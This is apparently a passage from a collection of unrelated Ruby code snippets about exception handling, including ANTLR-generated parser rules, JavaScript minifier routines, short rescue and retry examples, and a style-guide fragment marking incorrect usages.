rule labels: return_value\n # token list labels: \n # rule list labels: \n # wildcard labels: \n if @state.backtracking == 0\n\n return_value.tree = root_0\n stream_return_value = return_value ? subtree_stream( \"rule return_value\", return_value.tree ) : subtree_stream( \"token return_value\" )\n\n root_0 = @adaptor.create_flat_list\n # 349:5: -> ^( 'catch' catch_selector statement_block )\n # at line 349:8: ^( 'catch' catch_selector statement_block )\n root_1 = @adaptor.create_flat_list\n root_1 = @adaptor.become_root( stream_CATCH.next_node, root_1 )\n\n @adaptor.add_child( root_1, stream_catch_selector.next_tree )\n @adaptor.add_child( root_1, stream_statement_block.next_tree )\n\n @adaptor.add_child( root_0, root_1 )\n\n\n\n return_value.tree = root_0\n\n end# - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look( -1 )\n\n if @state.backtracking == 0\n\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n @adaptor.set_token_boundaries( return_value.tree, return_value.start, return_value.stop )\n\n end\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n return_value.tree = @adaptor.create_error_node( @input, return_value.start, @input.look(-1), re )\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 14 )\n\n end\n \n return return_value\n end", "def catch_exceptions; end", "def catch_clause\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 9 )\n return_value = CatchClauseReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n\n _last = _first_0 = nil\n string_literal31 = nil\n __ID33__ = nil\n statement_block32 = nil\n statement_block34 = nil\n\n tree_for_string_literal31 = nil\n tree_for_ID33 = nil\n\n begin\n root_0 = @adaptor.create_flat_list\n\n\n # at line 62:5: ^( 'catch' statement_block ID statement_block )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n string_literal31 = match( CATCH, TOKENS_FOLLOWING_CATCH_IN_catch_clause_282 )\n\n tree_for_string_literal31 = @adaptor.copy_node( string_literal31 )\n\n root_1 = @adaptor.become_root( tree_for_string_literal31, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_statement_block_IN_catch_clause_284 )\n statement_block32 = statement_block\n @state.following.pop\n\n @adaptor.add_child( root_1, statement_block32.tree )\n _last = @input.look\n __ID33__ = match( ID, TOKENS_FOLLOWING_ID_IN_catch_clause_286 )\n\n tree_for_ID33 = @adaptor.copy_node( __ID33__ )\n\n @adaptor.add_child( root_1, tree_for_ID33 )\n\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_statement_block_IN_catch_clause_288 )\n statement_block34 = statement_block\n @state.following.pop\n\n @adaptor.add_child( root_1, statement_block34.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 9 )\n\n end\n \n return return_value\n end", "def throw!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 54 )\n\n type = THROW\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 175:9: 'throw'\n match( \"throw\" )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 54 )\n\n end", "def optimize_if_return(node = @prog)\n retry_flag = true\n while retry_flag\n retry_flag = false\n node.traverse(nil) {|st0, parent0|\n if st0.kind_of? ECMA262::StIf and parent0.kind_of? ECMA262::StatementList\n i = parent0.index(st0)\n break if i.nil?\n parent = parent0.deep_dup\n st = parent[i]\n #\n if parent[i+1].nil? and !parent.kind_of?(ECMA262::SourceElements)\n next\n end\n if parent[i+1].nil? or parent[i+1].to_return?\n s = st\n while s.kind_of? ECMA262::StIf and s.else_st and s.then_st.to_return?\n s = s.else_st\n end\n if s and s.kind_of? ECMA262::StIf and s.then_st.to_return?\n if parent[i+1]\n s.replace(s.else_st, parent[i+1])\n parent.replace(parent[i+1], ECMA262::StEmpty.new)\n else\n s.replace(s.else_st, ECMA262::StReturn.new(ECMA262::ExpVoid.new(ECMA262::ECMA262Numeric.new(0))))\n end\n if_to_cond(parent)\n if parent.to_js(:no_debug => true).length <= parent0.to_js(:no_debug => true).length\n parent0.replace(st0, st)\n if parent[i+1]\n parent0.replace(parent0[i+1], ECMA262::StEmpty.new)\n end\n retry_flag = true\n node = parent0\n end\n end\n end\n end\n }\n end\n self\n end", "def exception_handler\n # -> uncomment the next line to manually enable rule tracing\n # trace_in(__method__, 19)\n return_value = ExceptionHandlerReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n string_literal89 = nil\n __ARG_ACTION90__ = nil\n __ACTION91__ = nil\n\n tree_for_string_literal89 = nil\n tree_for_ARG_ACTION90 = nil\n tree_for_ACTION91 = nil\n stream_T__84 = ANTLR3::AST::RewriteRuleTokenStream.new(@adaptor, \"token T__84\")\n stream_ACTION = ANTLR3::AST::RewriteRuleTokenStream.new(@adaptor, \"token ACTION\")\n stream_ARG_ACTION = ANTLR3::AST::RewriteRuleTokenStream.new(@adaptor, \"token ARG_ACTION\")\n\n begin\n # at line 225:5: 'catch' ARG_ACTION ACTION\n string_literal89 = match(T__84, TOKENS_FOLLOWING_T__84_IN_exception_handler_1350) \n if @state.backtracking == 0\n stream_T__84.add(string_literal89)\n end\n __ARG_ACTION90__ = match(ARG_ACTION, TOKENS_FOLLOWING_ARG_ACTION_IN_exception_handler_1352) \n if @state.backtracking == 0\n stream_ARG_ACTION.add(__ARG_ACTION90__)\n end\n __ACTION91__ = match(ACTION, TOKENS_FOLLOWING_ACTION_IN_exception_handler_1354) \n if @state.backtracking == 0\n stream_ACTION.add(__ACTION91__)\n end\n # AST Rewrite\n # elements: ARG_ACTION, ACTION, T__84\n # token labels: \n # rule labels: return_value\n # token list labels: \n # rule list labels: \n # wildcard labels: \n if @state.backtracking == 0\n\n return_value.tree = root_0\n stream_return_value = return_value ? subtree_stream(\"rule return_value\", return_value.tree) : subtree_stream(\"token return_value\")\n\n root_0 = @adaptor.create_flat_list!\n # 225:31: -> ^( 'catch' ARG_ACTION ACTION )\n # at line 225:34: ^( 'catch' ARG_ACTION ACTION )\n root_1 = @adaptor.create_flat_list!\n root_1 = @adaptor.become_root(stream_T__84.next_node, root_1)\n\n @adaptor.add_child(root_1, stream_ARG_ACTION.next_node)\n @adaptor.add_child(root_1, stream_ACTION.next_node)\n\n @adaptor.add_child(root_0, root_1)\n\n\n\n return_value.tree = root_0\n\n end# - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look(-1)\n\n if @state.backtracking == 0\n\n return_value.tree = @adaptor.rule_post_processing(root_0)\n @adaptor.set_token_boundaries(return_value.tree, return_value.start, return_value.stop)\n\n end\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n return_value.tree = @adaptor.create_error_node!(@input, return_value.start, @input.look(-1), re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out(__method__, 19)\n\n end\n \n return return_value\n end", "def continued_exception=(_arg0); end", "def keep_it_in\n raise \"rawr\"\nrescue\n # ahem\nend", "def exception_handler\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 19 )\n return_value = ExceptionHandlerReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n string_literal89 = nil\n __ARG_ACTION90__ = nil\n __ACTION91__ = nil\n\n tree_for_string_literal89 = nil\n tree_for_ARG_ACTION90 = nil\n tree_for_ACTION91 = nil\n stream_T__84 = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token T__84\" )\n stream_ACTION = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token ACTION\" )\n stream_ARG_ACTION = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token ARG_ACTION\" )\n\n begin\n # at line 216:5: 'catch' ARG_ACTION ACTION\n string_literal89 = match( T__84, TOKENS_FOLLOWING_T__84_IN_exception_handler_1345 )\n if @state.backtracking == 0\n stream_T__84.add( string_literal89 )\n end\n __ARG_ACTION90__ = match( ARG_ACTION, TOKENS_FOLLOWING_ARG_ACTION_IN_exception_handler_1347 )\n if @state.backtracking == 0\n stream_ARG_ACTION.add( __ARG_ACTION90__ )\n end\n __ACTION91__ = match( ACTION, TOKENS_FOLLOWING_ACTION_IN_exception_handler_1349 )\n if @state.backtracking == 0\n stream_ACTION.add( __ACTION91__ )\n end\n # AST Rewrite\n # elements: ARG_ACTION, T__84, ACTION\n # token labels: \n # rule labels: return_value\n # token list labels: \n # rule list labels: \n # wildcard labels: \n if @state.backtracking == 0\n\n return_value.tree = root_0\n stream_return_value = return_value ? subtree_stream( \"rule return_value\", return_value.tree ) : subtree_stream( \"token return_value\" )\n\n root_0 = @adaptor.create_flat_list\n # 216:31: -> ^( 'catch' ARG_ACTION ACTION )\n # at line 216:34: ^( 'catch' ARG_ACTION ACTION )\n root_1 = @adaptor.create_flat_list\n root_1 = @adaptor.become_root( stream_T__84.next_node, root_1 )\n\n @adaptor.add_child( root_1, stream_ARG_ACTION.next_node )\n @adaptor.add_child( root_1, stream_ACTION.next_node )\n\n @adaptor.add_child( root_0, root_1 )\n\n\n\n return_value.tree = root_0\n\n end# - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look( -1 )\n\n if @state.backtracking == 0\n\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n @adaptor.set_token_boundaries( return_value.tree, return_value.start, return_value.stop )\n\n end\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n return_value.tree = @adaptor.create_error_node( @input, return_value.start, @input.look(-1), re )\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 19 )\n\n end\n \n return return_value\n end", "def one\n too { yield }\nendbegin;1;rescue => e1;e1;end", "def try(*args)\n nil\n end", "def try(*args)\n nil\n end", "def visit(node)\n super\n rescue Sass::SyntaxError => e\n e.modify_backtrace(:filename => node.filename, :line => node.line)\n raise e\n end", "def on_rescue(node)\n # either thrown or not\n code, resbody=*(node.children)\n exceptions, e, res = *resbody\n log \"RESCUE: code=#{code} exceptions=#{exceptions} e=#{e} res=#{res}\"\n # handle \"rescue e\" case\n exception_string = if exceptions then exceptions.loc.expression.source else \"Exception\" end\n res_string = if res then res.loc.expression.source else \"nil\" end\n code_string = if code then code.loc.expression.source else \"nil\" end\n log(\"Rewriting rescue as fake if statement\")\n source_rewriter=replace(node.loc.expression, \"if [#{exception_string}].thrown?\\n #{res_string}\\n else\\n #{code_string}\\n end\")\n restart(source_rewriter)\n end", "def push_try\n p :push => @node.class.node_id, :stack => @try_stack.map { |t| t.node.class.node_id }\n @try_stack << Try.new(\n @scanner.pos,\n @line,\n @column,\n @doc_nesting,\n @indent,\n @node,\n @children,\n @child_names\n )\n end", "def catch _obj, _args\n \"_obj catch _args;\" \n end", "def statement\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 6 )\n return_value = StatementReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n\n _last = _first_0 = nil\n variable_statement8 = nil\n labelled_statement9 = nil\n if_statement10 = nil\n while_statement11 = nil\n do_while_statement12 = nil\n for_loop13 = nil\n continue_statement14 = nil\n break_statement15 = nil\n yield_statement16 = nil\n return_statement17 = nil\n with_statement18 = nil\n switch_statement19 = nil\n throw_statement20 = nil\n try_statement21 = nil\n expression22 = nil\n\n\n begin\n # at line 35:3: ( variable_statement | labelled_statement | if_statement | while_statement | do_while_statement | for_loop | continue_statement | break_statement | yield_statement | return_statement | with_statement | switch_statement | throw_statement | try_statement | expression )\n alt_5 = 15\n case look_5 = @input.peek( 1 )\n when VAR then alt_5 = 1\n when LABEL then alt_5 = 2\n when IF, UNLESS then alt_5 = 3\n when UNTIL, WHILE then alt_5 = 4\n when DO then alt_5 = 5\n when EACH, FOR, FOR_IN then alt_5 = 6\n when CONTINUE then alt_5 = 7\n when BREAK then alt_5 = 8\n when YIELD then alt_5 = 9\n when RETURN then alt_5 = 10\n when WITH then alt_5 = 11\n when SWITCH then alt_5 = 12\n when THROW then alt_5 = 13\n when CATCH, FINALLY then alt_5 = 14\n when AMP, FUNCTION, PLUS_ASGN, AMP_ASGN, POST_DECR, GEQ, POST_INCR, AREF, GREATER, QMARK, ARRAY, HAT, ARROW, HAT_ASGN, ASGN, REGEX, IN, INCR, INSTANCEOF, RSHIFT, CALL, ITER, RSHIFT3, RSHIFT3_ASGN, RSHIFT_ASGN, LEQ, LESS, SLASH, SLASH_ASGN, STAR, DECR, STAR_ASGN, LSHIFT, DELETE, LSHIFT_ASGN, THIS, MINUS, TILDE, MINUS_ASGN, TRUE, DOT, MOD, MOD_ASGN, TYPEOF, NEQ, UMINUS, NEQQ, UNDEFINED, NEW, NOT, NULL, UPLUS, OBJECT, EQ, OR, VOID, EQQ, OR_ASGN, FALSE, PIPE, PIPE_ASGN, PLUS, ID, IVAR, NUMBER, STRING, DOC then alt_5 = 15\n else\n raise NoViableAlternative( \"\", 5, 0 )\n end\n case alt_5\n when 1\n root_0 = @adaptor.create_flat_list\n\n\n # at line 35:5: variable_statement\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_variable_statement_IN_statement_127 )\n variable_statement8 = variable_statement\n @state.following.pop\n\n @adaptor.add_child( root_0, variable_statement8.tree )\n\n\n when 2\n root_0 = @adaptor.create_flat_list\n\n\n # at line 36:5: labelled_statement\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_labelled_statement_IN_statement_133 )\n labelled_statement9 = labelled_statement\n @state.following.pop\n\n @adaptor.add_child( root_0, labelled_statement9.tree )\n\n\n when 3\n root_0 = @adaptor.create_flat_list\n\n\n # at line 37:5: if_statement\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_if_statement_IN_statement_139 )\n if_statement10 = if_statement\n @state.following.pop\n\n @adaptor.add_child( root_0, if_statement10.tree )\n\n\n when 4\n root_0 = @adaptor.create_flat_list\n\n\n # at line 38:5: while_statement\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_while_statement_IN_statement_145 )\n while_statement11 = while_statement\n @state.following.pop\n\n @adaptor.add_child( root_0, while_statement11.tree )\n\n\n when 5\n root_0 = @adaptor.create_flat_list\n\n\n # at line 39:5: do_while_statement\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_do_while_statement_IN_statement_151 )\n do_while_statement12 = do_while_statement\n @state.following.pop\n\n @adaptor.add_child( root_0, do_while_statement12.tree )\n\n\n when 6\n root_0 = @adaptor.create_flat_list\n\n\n # at line 40:5: for_loop\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_for_loop_IN_statement_157 )\n for_loop13 = for_loop\n @state.following.pop\n\n @adaptor.add_child( root_0, for_loop13.tree )\n\n\n when 7\n root_0 = @adaptor.create_flat_list\n\n\n # at line 41:5: continue_statement\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_continue_statement_IN_statement_163 )\n continue_statement14 = continue_statement\n @state.following.pop\n\n @adaptor.add_child( root_0, continue_statement14.tree )\n\n\n when 8\n root_0 = @adaptor.create_flat_list\n\n\n # at line 42:5: break_statement\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_break_statement_IN_statement_169 )\n break_statement15 = break_statement\n @state.following.pop\n\n @adaptor.add_child( root_0, break_statement15.tree )\n\n\n when 9\n root_0 = @adaptor.create_flat_list\n\n\n # at line 43:5: yield_statement\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_yield_statement_IN_statement_175 )\n yield_statement16 = yield_statement\n @state.following.pop\n\n @adaptor.add_child( root_0, yield_statement16.tree )\n\n\n when 10\n root_0 = @adaptor.create_flat_list\n\n\n # at line 44:5: return_statement\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_return_statement_IN_statement_181 )\n return_statement17 = return_statement\n @state.following.pop\n\n @adaptor.add_child( root_0, return_statement17.tree )\n\n\n when 11\n root_0 = @adaptor.create_flat_list\n\n\n # at line 45:5: with_statement\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_with_statement_IN_statement_187 )\n with_statement18 = with_statement\n @state.following.pop\n\n @adaptor.add_child( root_0, with_statement18.tree )\n\n\n when 12\n root_0 = @adaptor.create_flat_list\n\n\n # at line 46:5: switch_statement\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_switch_statement_IN_statement_193 )\n switch_statement19 = switch_statement\n @state.following.pop\n\n @adaptor.add_child( root_0, switch_statement19.tree )\n\n\n when 13\n root_0 = @adaptor.create_flat_list\n\n\n # at line 47:5: throw_statement\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_throw_statement_IN_statement_199 )\n throw_statement20 = throw_statement\n @state.following.pop\n\n @adaptor.add_child( root_0, throw_statement20.tree )\n\n\n when 14\n root_0 = @adaptor.create_flat_list\n\n\n # at line 48:5: try_statement\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_try_statement_IN_statement_205 )\n try_statement21 = try_statement\n @state.following.pop\n\n @adaptor.add_child( root_0, try_statement21.tree )\n\n\n when 15\n root_0 = @adaptor.create_flat_list\n\n\n # at line 49:5: expression\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_statement_211 )\n expression22 = expression\n @state.following.pop\n\n @adaptor.add_child( root_0, expression22.tree )\n\n\n end\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 6 )\n\n end\n \n return return_value\n end", "def parse_begin_statement\n expect(:begin)\n expect(:LF)\n\n block = node(:block_statement, body: parse_statements)\n handlers = parse_rescue_clauses\n finalizer = parse_ensure_clause\n\n expect(:end)\n expect(:LF) if match(:LF)\n node(:try_statement, block: block, handlers: handlers, finalizer: finalizer)\n end", "def continued_exception; end", "def rescue_safely(options)\n yield\n\nrescue Object => e\n $stderr.puts('[%s] %s' % [ e.class, e ])\n\n if (options[:trace])\n $stderr.puts(e.backtrace)\n end\n\n exit(-1)\nend", "def on_ensure(node)\n pushing([@rescue_else_stack, node]) { super }\n end", "def exception_on_syntax_error=(_arg0); end", "def try(default = nil, &block)\n if defined?(DEBUG)\n yield block\n else\n begin\n yield block\n rescue\n return default\n end\n end\nend", "def optimize_if_return2(node = @prog)\n node.traverse(nil) {|st, parent|\n if st.kind_of? ECMA262::StIf and st.else_st and parent.kind_of? ECMA262::StatementList\n st.remove_empty_statement\n if (st.then_st.kind_of? ECMA262::StBlock and st.then_st[-1].kind_of? ECMA262::StReturn) or\n st.then_st.kind_of? ECMA262::StReturn\n idx = parent.index(st)\n parent[idx+1..0] = st.else_st\n st.replace(st.else_st, nil)\n end\n end\n }\n self\n end", "def _catch_warden(&block); end", "def class\n self\n super\n yield\n if false and retry\n undef module\n elsif not __FILE__\n alias END in\n case\n while __LINE__\n until true or return defined? next\n redo\n end\n break\n end\n when __ENCODING__\n else\n end\n end\n begin\n undef for unless nil\n undef do\n rescue\n ensure\n end\nend", "def exception_on_syntax_error; end", "def abort_on_exception=(*) end", "def catch(tag = nil)\n tag = Object.new if tag.nil?\n\n yield tag\n rescue UncaughtThrowError => e\n raise e unless e.tag == tag\n\n e.value\n end", "def throw_catch_example\n catch (:end_prematurely) do\n (0..100).each do |x|\n (0..100).each do |y|\n (0..100).each do |z|\n # When the following conditions hold, this will end the loop\n # as it will go the catch line above\n throw :end_prematurely if x == 9 && y == 9 && z > 10\n puts \"x: #{x} y: #{y} z: #{z}\"\n end\n end\n end\n end\nend", "def merge_exception(hash, test, exception, bt=false)\n hash['exception'] = {}\n hash['exception']['file' ] = code(exception).file\n hash['exception']['line' ] = code(exception).line\n hash['exception']['source' ] = code(exception).to_str\n hash['exception']['snippet' ] = code(exception).to_omap\n hash['exception']['message' ] = exception.message\n hash['exception']['backtrace'] = clean_backtrace(exception) if bt\n end", "def rescue_from(exception); end", "def test\n begin\n raise IOError\n rescue IOError => ex\n puts \"rescue: #{ex.class}\"\n ensure\n puts \"ensure: #{$!.class}\"\n end\nend", "def recover_from(_error); end", "def exceptions; end", "def br3ak\n raise RuntimeError, \"OMFG!!1!\"\n end", "def fatal; end", "def original_exception=(_arg0); end", "def function\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 69 )\n return_value = FunctionReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n function_literal330 = nil\n catch_clause331 = nil\n finally_clause332 = nil\n\n stream_function_literal = ANTLR3::AST::RewriteRuleSubtreeStream.new( @adaptor, \"rule function_literal\" )\n stream_catch_clause = ANTLR3::AST::RewriteRuleSubtreeStream.new( @adaptor, \"rule catch_clause\" )\n stream_finally_clause = ANTLR3::AST::RewriteRuleSubtreeStream.new( @adaptor, \"rule finally_clause\" )\n begin\n # at line 709:5: ( function_literal -> function_literal ) ( catch_clause ->)* ( finally_clause ->)?\n # at line 709:5: ( function_literal -> function_literal )\n # at line 709:7: function_literal\n @state.following.push( TOKENS_FOLLOWING_function_literal_IN_function_5009 )\n function_literal330 = function_literal\n @state.following.pop\n if @state.backtracking == 0\n stream_function_literal.add( function_literal330.tree )\n end\n # AST Rewrite\n # elements: function_literal\n # token labels: \n # rule labels: return_value\n # token list labels: \n # rule list labels: \n # wildcard labels: \n if @state.backtracking == 0\n\n return_value.tree = root_0\n stream_return_value = return_value ? subtree_stream( \"rule return_value\", return_value.tree ) : subtree_stream( \"token return_value\" )\n\n root_0 = @adaptor.create_flat_list\n # 709:24: -> function_literal\n @adaptor.add_child( root_0, stream_function_literal.next_tree )\n\n\n\n return_value.tree = root_0\n\n end\n # at line 710:5: ( catch_clause ->)*\n while true # decision 81\n alt_81 = 2\n look_81_0 = @input.peek( 1 )\n\n if ( look_81_0 == CATCH )\n alt_81 = 1\n\n end\n case alt_81\n when 1\n # at line 710:7: catch_clause\n @state.following.push( TOKENS_FOLLOWING_catch_clause_IN_function_5023 )\n catch_clause331 = catch_clause\n @state.following.pop\n if @state.backtracking == 0\n stream_catch_clause.add( catch_clause331.tree )\n end\n # AST Rewrite\n # elements: \n # token labels: \n # rule labels: return_value\n # token list labels: \n # rule list labels: \n # wildcard labels: \n if @state.backtracking == 0\n\n return_value.tree = root_0\n stream_return_value = return_value ? subtree_stream( \"rule return_value\", return_value.tree ) : subtree_stream( \"token return_value\" )\n\n root_0 = @adaptor.create_flat_list\n # 710:24: ->\n @adaptor.add_child( root_0, ( prepend_tree( catch_clause331.tree, return_value.tree ) ) )\n\n\n\n return_value.tree = root_0\n\n end\n else\n break # out of loop for decision 81\n end\n end # loop for decision 81\n # at line 711:5: ( finally_clause ->)?\n alt_82 = 2\n look_82_0 = @input.peek( 1 )\n\n if ( look_82_0 == FINALLY )\n alt_82 = 1\n end\n case alt_82\n when 1\n # at line 711:7: finally_clause\n @state.following.push( TOKENS_FOLLOWING_finally_clause_IN_function_5042 )\n finally_clause332 = finally_clause\n @state.following.pop\n if @state.backtracking == 0\n stream_finally_clause.add( finally_clause332.tree )\n end\n # AST Rewrite\n # elements: \n # token labels: \n # rule labels: return_value\n # token list labels: \n # rule list labels: \n # wildcard labels: \n if @state.backtracking == 0\n\n return_value.tree = root_0\n stream_return_value = return_value ? subtree_stream( \"rule return_value\", return_value.tree ) : subtree_stream( \"token return_value\" )\n\n root_0 = @adaptor.create_flat_list\n # 711:24: ->\n @adaptor.add_child( root_0, ( prepend_tree( finally_clause332.tree, return_value.tree ) ) )\n\n\n\n return_value.tree = root_0\n\n end\n end\n # - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look( -1 )\n\n if @state.backtracking == 0\n\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n @adaptor.set_token_boundaries( return_value.tree, return_value.start, return_value.stop )\n\n end\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n return_value.tree = @adaptor.create_error_node( @input, return_value.start, @input.look(-1), re )\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 69 )\n\n end\n \n return return_value\n end", "def warning_eval(str, binding = T.unsafe(nil)); end", "def mask_later_exceptions(html)\n mask = false\n html.to_s.gsub(/(@exception=#<[A-Z0-9_:]+Error)(.*?)(>,)/i) do |substring|\n if mask\n \"#{$1} ... #{$3}\"\n else\n mask = true\n substring\n end\n end\n end", "def test_nesting_behavior_across_methods\n Fluid.let([:paul, 6],\n [:sophie, 5]) {\n ordinary_subfunction # add one to age.\n assert_equal(7, Fluid.paul)\n assert_equal(6, Fluid.sophie)\n\n # Values are unwound in presence of catch.\n catch_value = catch(:catcher) {\n Fluid.let([:paul, 66]) {\n assert_equal(66, Fluid.paul)\n assert_equal(6, Fluid.sophie)\n throwing_subfunction\n # This changes both variables, but only\n # the change to Sophie will be visible outside the let block\n }\n }\n assert_equal(55600, catch_value)\n assert_equal(7, Fluid.paul)\n assert_equal(\"sophster\", Fluid.sophie)\n \n # Values are unwound with exceptions as well\n begin\n Fluid.let([:sophie, \"leewit\"]) {\n assert_equal(7, Fluid.paul)\n assert_equal(\"leewit\", Fluid.sophie)\n raising_subfunction\n # This changes both variables, but only\n # the change to Paul will be visible outside the let block\n }\n rescue RuntimeError\n assert_equal(nil, Fluid.paul)\n assert_equal(\"sophster\", Fluid.sophie)\n return\n end\n fail(\"Should not reach here.\")\n }\n end", "def reraise\n raise $!.class, $!.message, caller[1..-1]\nend", "def misty ci, &blk\n begin\n print 'stack: '; p ci.ctx.stack\n puts 'vars: '; p ci.ctx.vars\n print 'next instruction: '; p ci.peek\n gets\n ci.step\n rescue HaltState\n puts 'halted'\n rescue OpcodeError => err\n puts err.message\n end\nend", "def safely\n yield\n rescue Exception\n nil\n end", "def handle_exception\n if not @error\n return\n end\n\n error_handlers = @registers['error_handlers']\n\n if error_handlers and not error_handlers.empty?\n @exec_pos = error_handlers.pop_handler\n @jumped = true\n elsif @registers['return_addr']\n # go up and try handle_exception again\n block_id, pos = @registers['return_addr']\n if not block_id\n raise @error\n end\n\n # Delete the registers of current block\n @registers_mgr.destroy @registers.id\n\n # Switch to the caller's registers\n @registers = @registers_mgr[id]\n\n # Change block and set the position\n @block = CODE_MGR.get_block(block_id)\n\n @instructions = @block.instructions\n @exec_pos = pos\n @jumped = true\n\n handle_exception\n else\n raise @error\n end\n end", "def sample()\n begin\n puts \"do something\"\n rescue # can define type of error here if wanted\n puts \"we hit an error!\"\n retry # this will restart from the beginning of the begin body\n else\n puts \"else hit\"\n ensure\n puts \"ensure this please\"\n end\nend", "def abort_on_exception=(_arg0); end", "def exit_exception; end", "def my_method_of_doom(args)\n 'yay'\n rescue\n 'whatever'\n ensure\n 'something else'\n end", "def with_cop_error_handling(cop, node = T.unsafe(nil)); end", "def fatal?; end", "def fatal?; end", "def increment_try\n StatsD.increment(\"#{@prefix}.try\")\n end", "def rescatista(a,b)\n begin #Try\n c = porcentaje(a,b)\n rescue => error #Catch\n puts \"Error de tipo:\" + error.message\n else #Si no ocurre un rescue\n puts c\n ensure #Se ejecuta sin importar el resultado\n puts porcentaje(a.to_f, b.to_f)\n end\nend", "def terminate!(exception = T.unsafe(nil)); end", "def some_method\n # incorrect\n begin\n n / d\n rescue ZeroDivisionError\n puts 'Cannot divide by 0!'\n end\n\n # Do not rescue class Exception. Must rescue a specific class\n\n # incorrect\n begin\n # Exception caught\n rescue\n # Process exception\n end\n\n # incorrect\n begin\n # Exception caught\n rescue Exception\n # Process exception\n end\n\n # Use %w( ) to create array of strings\n\n # incorrect\n # STATES = ['draft', 'open', 'closed']\n\n # When write key of hash, use symbol instead of characters if possible\n\n # incorrect\n hash = {'one' => 1, 'two' => 2, 'three' => 3}\n\n # Strings\n\n # When combine variables into a string, follow below rules\n\n # incorrect\n email_with_name = user.name + ' <' + user.email + '>'\n\n # * When need to add more into string, do not use ``` String#+ ``` method, use ``` String#<< ``` method\n\n # correct\n html = ''\n html + '<h1>Page title</h1>'\n\n paragraphs.each do |paragraph|\n html + \"<p>#{paragraph}</p>\"\n end\n\n /(regexp)/ =~ string\n process $1\n\n string = \"some injection\\nusername\"\n string[/^username$/] # matches\n string[/\\Ausername\\Z/] # don't match\n\n #Use x when writing a complex regular expression. However, all empty characters will be ignored.\n\n regexp = %r{\n start # some text\n \\s # white space char\n (group) # first group\n (?:alt1|alt2) # some alternation\n end\n }\n\n # % syntax\n\n # Use %() when need to display \n\n message = %(please differenate between ' and \" )\n\n # Use %r() when need to write / in regular expression\n\n %r(\\s+)\n\n %r(^/(.*)$)\n\n # Comparison\n\n # When need to compare between a variable and a value like a number or a constant, write variable on the right side\n\n greeting = 'Hello!'\n\n # bad\n if greeting == 'Hola!'\n end\n end", "def with_repl_like_sigint; end", "def caller\n %x{\n function getErrorObject(){\n try { throw Error('') } catch(err) { return err; }\n }\n\n\n var err = getErrorObject();\n }\n stack = `err.stack`\n caller_lines = stack.split(\"\\n\")[4..-1]\n caller_lines.reject! { |l| l.strip.empty? }\n\n result_formatter = lambda do |filename, line, method=nil|\n \"#{filename}:#{line} in `(#{method ? method : 'unknown method'})'\"\n end\n\n caller_lines.map do |raw_line|\n if match = /\\s*at (.*) \\((\\S+):(\\d+):\\d+/.match(raw_line)\n method, filename, line = match.captures\n result_formatter[filename, line, method]\n elsif match = /\\s*at (\\S+):(\\d+):\\d+/.match(raw_line)\n filename, line = match.captures\n result_formatter[filename, line]\n # catch phantom/no 2nd line/col #\n 